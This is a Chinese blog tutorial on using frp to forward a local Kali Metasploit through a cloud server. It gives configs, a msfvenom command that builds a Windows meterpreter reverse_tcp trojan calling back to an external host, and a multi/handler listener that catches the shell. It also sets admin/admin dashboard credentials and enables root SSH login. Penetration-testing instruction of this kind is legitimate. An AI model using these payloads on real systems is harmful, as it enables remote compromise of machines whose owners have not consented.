低成本打造一个高性能的外网 Metasploit
本文主要围绕着 frp 这个神器来展开写的,frp 还有很多高级的用法,想要深入研究的建议去阅读作者写在 GitHub 上的官方文档去学习,本文只起到一个抛砖引玉的作用。
前言
经常用 metasploit 反弹 shell 的小伙伴应该都知道再外网有 一台 Metasploit 是一件多么奢侈的事情~~ 然而一台性能不错的云主机价格大都不菲,并且自己本地高性能的 Metasploit 用的那么顺手可惜就是没有外网 IP。所以这篇文章就此诞生了,利用云主机的独立 IP,将本地的 Metasploit 端口转发到外网上面去。
其实我本人对网络端口转发、网络协议这里很容易搞混淆,让我自己去折腾这个估计得走很多弯路,还不一定成功的那种。本文是在幸安哥的指导下才最终写出来的,祝幸安哥早日拿到新的 hhkb。
云服务器选购
考虑到低延迟等特性,买一台国内
普通的云主机就可以了。云主机的话腾讯云有学生特惠价,蛮便宜的。
本次是在CentOS
下面搭建的,所以选好服务器后,安装一个 CentOS 系统即可。
安利一个终端
MobaXterm
- 支持滑动复制
- 支持命令行高亮
- 免费版功能够用
- 支持 SSH、Telnet、Rsh、Xdmcp、RDP、VNC、FTP、SFTP、Serial、Mosh、Aws S3 等主流协议
界面如下:
搭建环境准备
- frps 部署机,Centos7 为例,有外网固定 IP,假设 IP 为 1.1.1.1 后文简称
frps
- frpc 客户机,Kali 2.0 为例,能访问互联网,后文简称
frpc
CentOS 的配置
下载 frp
Github 项目地址:https://github.com/fatedier/frp
找到最新的 releases下载,系统版本自行确认:
[root@sqlsec ~]> wget https://github.com/fatedier/frp/releases/download/v0.16.1/frp_0.16.1_linux_amd64.tar.gz
[root@sqlsec ~]> tar -zxvf frp_0.16.1_linux_amd64.tar.gz
[root@sqlsec ~]> cd frp_0.16.1_linux_amd64/
[root@sqlsec frp_0.16.1_linux_amd64/]> rm -rf frpc*
编写 frps 配置文件
[root@sqlsec frp_0.16.1_linux_amd64/]> vi frps.ini
内容如下:
[common]
bind_port = 7000
dashboard_port = 7500
dashboard_user = admin
dashboard_pwd = admin
- 第 1 行为 frps 和 frpc 之间通讯端口
- 第 2 行为监控页面 web 地址
- 第 3、4 行为监控页面密码
文末会展示其效果。
运行 frps
运行 frps,-c
参数用于指定配置文件,在同级目录下的话,可以直接运行.frps
./frps -c frps.ini
Kali 的配置
配置SSH
运行 root 远程登陆s
编辑 ssh 配置文件/etc/ssh/sshd_config
root@kali:~ vim /etc/ssh/sshd_config
在配置文件第一行前添加如下语句:
PermitRootLogin yes
重启 ssh 并设置为开机自启
root@kali:~ systemctl restart ssh
root@kali:~ systemctl enable ssh
验证 SSH
本地使用终端连接虚拟机中的 Kali,测试能否连接成功:
下载 frp
root@kali:~> wget https://github.com/fatedier/frp/releases/download/v0.16.1/frp_0.16.1_linux_amd64.tar.gz
root@kali:~> tar -zxvf frp_0.16.1_linux_amd64.tar.gz
root@kali:~> cd frp_0.16.1_linux_amd64/
root@kali:~/frp_0.16.1_linux_amd64> rm -rf frps*
注这里最后一句是
rm -rf frps*
与 CentOS 下操作的最后一句不相同。
编写 frpc 配置文件
root@kali:~/frp_0.16.1_linux_amd64> vi frpc.ini
内容如下:
#frps的ip和端口
[common]
server_addr = 1.1.1.1
server_port = 7000
# kali ssh的配置
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 10086
use_compression = true
这里的remote_port = 10086
是将 Kali 的 22 端口映射到外网 IP1.1.1.1
的10086
端口的意思。
运行frpc
-c
参数用于指定配置文件,在同级目录下的话 可以直接运行.frpc
./frpc -c frpc.ini
SSH 连接测试
λ ssh root@1.1.1.1 -p 10086
成功!美滋滋~~
msf 反向 shell 测试
回到正题现在来进行 Metasploit 下最基本的反向 shell 测试,看看能不能成功建立会话连接。
生成 Payload
使用 msfvenom 生成 exe 木马
root@kali:~> msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=2333 -f exe > sqlsec.exe
32 位系统的 payload 语句调整为:windows/meterpreter/reverse_tcp
这里的1.1.1.1
是外网云主机的IP地址,2333
是映射到外网的端口
将生成的shell.exe
拷贝到一台 Windows 机器上准备运行。
添加 frpc 规则
root@kali:~/frp_0.16.1_linux_amd64> vi frpc.ini
修改为如下内容:
[common]
server_addr = 1.1.1.1
server_port = 7000
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 10086
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 4444
remote_port = 2333
将 Kali的4444
端口转发到外网1.1.1.1
的2333
端口。
运行 frps 和frpc
分别在CentOS
和Kali
下运行frps
和frpc
。
msf 监听反弹的 shell
msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > run
注:32 位目标系统这里做如下调整:set PAYLOAD windows/meterpreter/reverse_tcp
然后就开始监听本地的4444
端口了,这个时候在 Windows下运行sqslec.exe
,Kali 这边成功拿到反弹的shell会话:
在浏览器中输入http://1.1.1.1:7500
用户名和密码都是前面设置的admin
,然后就直接进入了dashboard
界面,可以更直观的观察到端口转发监听的情况:
结语
frp 可以说是神器级别的工具了,向开发者致敬,关于 frp 更多高级有趣的用法只能等大家自己探索了,溜了溜了~~
点评
当时记得这篇文章在 Freebuf 被喷的很惨,安全圈真的浮躁,为啥被喷大家说我标题党了,可能的确有点吧,但是喷到不至于吧,感觉还是文章写的太简单的 ,事实的确如此,后面写的进阶文章都没有人评论,更不要说喷子了,喷子大多数是浮躁的,只喷自己懂得,23333 后面 Freebuf 投稿的文章就少了,主要转自己的博客和 t00ls 以及先知社区了,目前写文章纯粹就是自己的爱好了。
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信
|
支付宝
|
没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光